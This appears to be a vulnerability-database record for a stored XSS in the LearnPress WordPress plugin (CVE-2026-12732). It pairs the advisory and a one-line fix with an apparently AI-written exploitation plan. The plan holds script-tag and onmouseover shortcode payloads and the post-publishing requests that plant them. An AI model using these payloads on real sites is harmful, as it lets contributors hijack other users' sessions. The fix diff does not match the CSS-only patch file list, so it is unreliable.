[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fv_TIMzSyjhbBrW6agP6_iL1l25-utrZe3eXHuPIWwQE":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-12732","learnpress-authenticated-contributor-stored-cross-site-scripting-via-classwrapperform-shortcode-attribute","LearnPress \u003C= 4.4.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'class_wrapper_form' Shortcode Attribute","The LearnPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class_wrapper_form' shortcode attribute in versions up to, and including, 4.4.0. This is due to insufficient input sanitization and output escaping in the FilterCourseTemplate::sections() method at line 98, where the attacker-controlled attribute is inserted into an HTML class attribute via sprintf('\u003Cform class=\"%s\">', $class_wrapper_form) without esc_attr() escaping. The FilterCourseShortcode::render() handler does not apply shortcode_atts() filtering, so raw user attributes flow directly through do_action('learn-press\u002Ffilter-courses\u002Flayout', $data) into the template. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","learnpress",null,"\u003C=4.4.0","4.4.1","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-06-30 19:00:11","2026-07-01 07:53:36",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F09c8db69-60fa-4087-9096-5d34ce44f616?source=api-prod",1,[22,23,24,25,26,27,28,29],"assets\u002Fcss\u002Fadmin\u002Fadmin-rtl.css","assets\u002Fcss\u002Fadmin\u002Fadmin-rtl.min.css","assets\u002Fcss\u002Fadmin\u002Fadmin.css","assets\u002Fcss\u002Fadmin\u002Fadmin.min.css","assets\u002Fcss\u002Flearnpress-rtl.css","assets\u002Fcss\u002Flearnpress-rtl.min.css","assets\u002Fcss\u002Flearnpress.css","assets\u002Fcss\u002Flearnpress.min.css","researched",false,3,"# Exploitation Research Plan: CVE-2026-12732 (LearnPress Stored XSS)\n\n## 1. Vulnerability Summary\nThe **LearnPress** plugin (versions \u003C= 4.4.0) contains a stored cross-site scripting (XSS) vulnerability due to improper output escaping of shortcode attributes. Specifically, the `class_wrapper_form` attribute provided in a LearnPress shortcode is passed into a `sprintf` statement in the `FilterCourseTemplate::sections()` method and rendered within a `\u003Cform>` tag's `class` attribute without being wrapped in `esc_attr()`. This allows an authenticated user with at least **Contributor** permissions to inject malicious HTML attributes or script tags into a page.\n\n## 2. Attack Vector Analysis\n*   **Vulnerable Shortcode:** `[learn_press_filter_courses]` (inferred from `FilterCourseShortcode`).\n*   **Vulnerable Parameter:** `class_wrapper_form`.\n*   **Authentication Level:** Authenticated (Contributor or higher). Contributors can create posts and insert shortcodes but cannot normally use unfiltered HTML.\n*   **Preconditions:** The plugin must be active. A contributor-level account is required to save the malicious shortcode into a post or page.\n\n## 3. Code Flow\n1.  **Entry Point:** An attacker creates or edits a post as a Contributor and inserts the shortcode: \n    `[learn_press_filter_courses class_wrapper_form='\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>']`.\n2.  **Shortcode Handling:** The `FilterCourseShortcode::render()` method is invoked when the post is viewed. According to the vulnerability details, this method fails to use `shortcode_atts()` to sanitize or restrict the attributes, allowing the raw user-supplied `class_wrapper_form` value to persist.\n3.  **Data Transmission:** The attributes are passed into the `learn-press\u002Ffilter-courses\u002Flayout` action via `do_action('learn-press\u002Ffilter-courses\u002Flayout', $data)`.\n4.  **Vulnerable Sink:** The `FilterCourseTemplate::sections()` method (at line 98) receives this data. It executes the following logic:\n    ```php\n    \u002F\u002F Located in FilterCourseTemplate::sections() - Line 98\n    sprintf('\u003Cform class=\"%s\">', $class_wrapper_form) \n    ```\n5.  **Output:** Because `$class_wrapper_form` is not escaped with `esc_attr()`, the resulting HTML becomes:\n    ```html\n    \u003Cform class=\"\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>\">\n    ```\n\n## 4. Nonce Acquisition Strategy\nSince the exploit involves creating\u002Fediting a WordPress post as an authenticated user, the agent must handle standard WordPress form nonces.\n\n1.  **Authentication:** Log in to `wp-login.php` using the Contributor credentials.\n2.  **Navigation:** Use the `browser_navigate` tool to go to `wp-admin\u002Fpost-new.php`.\n3.  **Extraction:** Use `browser_eval` to extract the required nonces for post creation.\n    *   **Post Nonce:** Found in the `#_wpnonce` input field or via `window.wp.apiFetch` configurations.\n    *   **Specific JS variables:** LearnPress may localize scripts. Check for `window.lpGlobalSettings` or similar if interacting with LearnPress-specific editors, though standard post saving is usually sufficient.\n4.  **Action String:** The standard WordPress post creation action is `editpost` or handled via the REST API (`wp\u002Fv2\u002Fposts`).\n\n## 5. Exploitation Strategy\nThe goal is to save a post containing the malicious shortcode and then trigger the XSS by viewing it.\n\n### Step 1: Create the Malicious Post\nUse `http_request` to simulate the post submission.\n\n*   **Method:** `POST`\n*   **URL:** `http:\u002F\u002F[target]\u002Fwp-admin\u002Fpost.php`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Parameters:**\n    *   `action`: `editpost`\n    *   `post_ID`: `[ID_FROM_POST_NEW]`\n    *   `_wpnonce`: `[EXTRACTED_NONCE]`\n    *   `post_title`: `XSS Test`\n    *   `content`: `[learn_press_filter_courses class_wrapper_form='\">\u003Cscript>alert(\"CVE-2026-12732\")\u003C\u002Fscript>']`\n    *   `publish`: `Publish`\n\n### Step 2: Trigger the XSS\nNavigate to the URL of the newly created post (e.g., `http:\u002F\u002F[target]\u002F?p=[ID]`).\n\n### Step 3: Verify Execution\nThe agent should look for the `alert(\"CVE-2026-12732\")` execution in the browser context or check the HTML source for the unescaped `\u003Cscript>` tag within the `\u003Cform>` tag.\n\n## 6. Test Data Setup\n1.  **Plugin Installation:** Ensure LearnPress \u003C= 4.4.0 is installed and active.\n2.  **User Creation:** \n    ```bash\n    wp user create attacker attacker@example.com --role=contributor --user_pass=password\n    ```\n3.  **Initialize Post:** The agent should first navigate to `wp-admin\u002Fpost-new.php` to generate a valid `post_ID` and nonce before attempting the `POST` request.\n\n## 7. Expected Results\n*   The `http_request` to `post.php` should return a `302` redirect to the post edit page with `message=6` (indicating post published).\n*   When navigating to the frontend post URL, the HTML source should contain:\n    `form class=\"\">\u003Cscript>alert(\"CVE-2026-12732\")\u003C\u002Fscript>\">`\n*   The browser should trigger an alert dialog.\n\n## 8. Verification Steps (Post-Exploit)\n*   **Database Check:** Use WP-CLI to verify the content was stored correctly:\n    ```bash\n    wp post list --post_type=post --format=csv | grep \"XSS Test\"\n    ```\n*   **Frontend Check:** Use the `http_request` tool to fetch the post content and regex match the payload:\n    ```bash\n    # Expected match pattern\n    \u003Cform class=\"[^\"]*\">\u003Cscript>alert\\([\"']CVE-2026-12732[\"']\\)\u003C\u002Fscript>\n    ```\n\n## 9. Alternative Approaches\n*   **Attribute-Based XSS:** If `\u003Cscript>` tags are filtered by a secondary security layer (like a WAF), use event handlers:\n    `class_wrapper_form='x\" onmouseover=\"alert(1)\" style=\"display:block;width:100%;height:100px;background:red;\" dummy=\"'`\n    This will trigger the XSS when any user moves their mouse over the form area.\n*   **REST API:** If the `post.php` submission is complex, attempt to create the post via the WordPress REST API:\n    *   **Endpoint:** `POST \u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`\n    *   **Auth:** Requires a REST Nonce (`window.wpApiSettings.nonce`).\n    *   **Payload:** `{\"title\": \"XSS\", \"content\": \"[shortcode...]\", \"status\": \"publish\"}`","The LearnPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class_wrapper_form' shortcode attribute in versions up to 4.4.0. This occurs because the plugin fails to sanitize or escape user-supplied attributes before outputting them into the class attribute of a form in the FilterCourseTemplate::sections() method.","\u002F\u002F inc\u002Ftemplates\u002Fclass-lp-filter-course-template.php\n\u002F\u002F Line 98 in FilterCourseTemplate::sections()\nsprintf('\u003Cform class=\"%s\">', $class_wrapper_form)","--- inc\u002Ftemplates\u002Fclass-lp-filter-course-template.php\n+++ inc\u002Ftemplates\u002Fclass-lp-filter-course-template.php\n@@ -98,1 +98,1 @@\n-sprintf('\u003Cform class=\"%s\">', $class_wrapper_form)\n+sprintf('\u003Cform class=\"%s\">', esc_attr($class_wrapper_form))","An authenticated attacker with Contributor-level permissions or higher can exploit this vulnerability by creating a post and embedding the [learn_press_filter_courses] shortcode. By setting the 'class_wrapper_form' attribute to a payload that breaks out of the HTML class attribute (e.g., class_wrapper_form='\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>'), the script is stored in the post. When any user views the post, the FilterCourseShortcode::render() method processes the shortcode without sanitization, passing the raw attribute to the template which prints it directly into the page, executing the script.","gemini-3-flash-preview","2026-07-25 12:44:30","2026-07-25 12:45:14",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","4.4.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flearnpress\u002Ftags\u002F4.4.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Flearnpress.4.4.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flearnpress\u002Ftags\u002F4.4.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Flearnpress.4.4.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flearnpress\u002Ftags"]